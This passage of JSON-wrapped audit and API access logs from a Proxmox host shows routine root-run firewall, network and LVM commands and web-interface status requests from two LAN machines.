a1=7ffc94faccb0 a2=5edd5c494680 a3=5edd2dd1024e items=2 ppid=58787 pid=58789 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266039,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.039:64866): arch=c000003e syscall=59 success=yes exit=0 a0=64c2b0140ac8 a1=7ffda627f7b0 a2=64c2d3e69680 a3=64c2b012424e items=2 ppid=62311 pid=62313 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575484,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.484:66197): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966070741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1119"} {"@timestamp":1781964485799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.799:61236): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc94facc70 a1=5edd5c4b63d0 a2=5edd5c494680 a3=5 items=2 ppid=58787 pid=58788 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.036:64865): arch=c000003e syscall=59 success=yes exit=0 a0=7ffda627f770 a1=64c2d3e8b410 a2=64c2d3e69680 a3=5 items=2 ppid=62311 pid=62312 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575478,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.478:66196): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966069718,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1119"} {"@timestamp":1781964485795,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.795:61234): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58787 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266032,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.032:64863): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62311 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575472,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.472:66195): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966069718,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:28 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 925"} {"@timestamp":1781964485790,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.790:61233): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58786 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266024,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.024:64862): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62310 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575464,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.464:66194): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966067107,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 500"} {"@timestamp":1781964485783,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.783:61232): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58785 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266017,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.017:64861): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62309 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575457,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.457:66193): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966067107,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:26 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781964485776,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.776:61231): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58784 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266012,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.012:64860): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fa510 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62308 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575447,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.447:66192): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966067107,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964485770,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.770:61230): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58783 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965266004,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965266.004:64859): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb641de60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62307 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575438,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.438:66191): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966067107,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:26 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964485767,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.767:61229): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=56a99c3a2740 items=0 ppid=1156 pid=58782 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965265996,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965265.996:64858): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e8290 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62306 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575434,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.434:66190): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966067107,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1119"} {"@timestamp":1781964485765,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.765:61228): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e2bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58782 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965264368,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965264.368:64857): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1ecbc10 a1=64f8d17805b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62303 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575427,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.427:66189): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966065822,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1124"} {"@timestamp":1781964485760,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.760:61227): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecb60d7680 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58781 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965264342,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965264.342:64856): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c51b0 a1=64f8d5f90d40 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62302 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575424,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.424:66188): argc=1 a0=\"date\""} {"@timestamp":1781966065822,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:24 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781964485755,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.755:61226): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc12f170 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58780 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965262358,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965262.358:64855): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62301 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575421,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.421:66186): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966064801,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964485750,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.750:61225): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130160 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58779 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965262350,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965262.350:64852): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62300 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575411,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.411:66185): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966063799,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781964485745,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.745:61224): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12f170 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58778 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965257339,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965257.339:64849): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62297 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575404,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.404:66184): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966063799,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:22 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781964485740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.740:61223): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b58f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58777 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965257333,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965257.333:64846): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62296 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575397,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.397:66183): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966063799,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964485734,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.734:61222): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58776 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965255984,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.984:64843): arch=c000003e syscall=59 success=yes exit=0 a0=5b2a8cb66d30 a1=5b2a8cb72af0 a2=5b2a8cb40680 a3=5 items=2 ppid=62289 pid=62295 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575385,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.385:66182): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964485728,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.728:61221): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58775 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966062827,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:22 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965255978,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.978:64842): arch=c000003e syscall=59 success=yes exit=0 a0=5b2a845d2ac8 a1=7fffbd9b2190 a2=5b2a8cb40680 a3=5b2a845b624e items=2 ppid=62289 pid=62291 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575374,"@rawstring":"node=pve type=EXECVE msg=audit(1781965575.374:66181): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964485725,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.725:61220): arch=c000003e syscall=59 success=yes exit=0 a0=5d3ebd4dcb60 a1=5d3ebd4e8e80 a2=5d3ebd4b6680 a3=5 items=2 ppid=58768 pid=58774 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966062827,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781965255978,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.978:64841): arch=c000003e syscall=59 success=yes exit=0 a0=7fffbd9b2150 a1=5b2a8cb623d0 a2=5b2a8cb40680 a3=5 items=2 ppid=62289 pid=62290 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965574136,"@rawstring":"node=pve type=EXECVE msg=audit(1781965574.136:66180): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964485722,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.722:61219): arch=c000003e syscall=59 success=yes exit=0 a0=5d3e91d10ac8 a1=7fff7da0f740 a2=5d3ebd4b6680 a3=5d3e91cf424e items=2 ppid=58768 pid=58770 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966060975,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:20 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 941"} {"@timestamp":1781965255973,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.973:64839): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62289 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965574112,"@rawstring":"node=pve type=EXECVE msg=audit(1781965574.112:66179): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964485721,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.721:61218): arch=c000003e syscall=59 success=yes exit=0 a0=7fff7da0f700 a1=5d3ebd4d8200 a2=5d3ebd4b6680 a3=5 items=2 ppid=58768 pid=58769 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966060975,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:20 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965255967,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.967:64838): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62288 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965573518,"@rawstring":"node=pve type=EXECVE msg=audit(1781965573.518:66178): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964485717,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.717:61216): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58768 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966060975,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781965255959,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.959:64837): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62287 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965573512,"@rawstring":"node=pve type=EXECVE msg=audit(1781965573.512:66175): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964485710,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.710:61215): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58767 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966059769,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:18 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 925"} {"@timestamp":1781965255951,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.951:64836): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62286 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965568499,"@rawstring":"node=pve type=EXECVE msg=audit(1781965568.499:66172): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964485704,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.704:61214): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58766 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966059769,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781965255945,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.945:64835): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62285 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965568490,"@rawstring":"node=pve type=EXECVE msg=audit(1781965568.490:66169): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964485699,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.699:61213): arch=c000003e syscall=59 success=yes exit=0 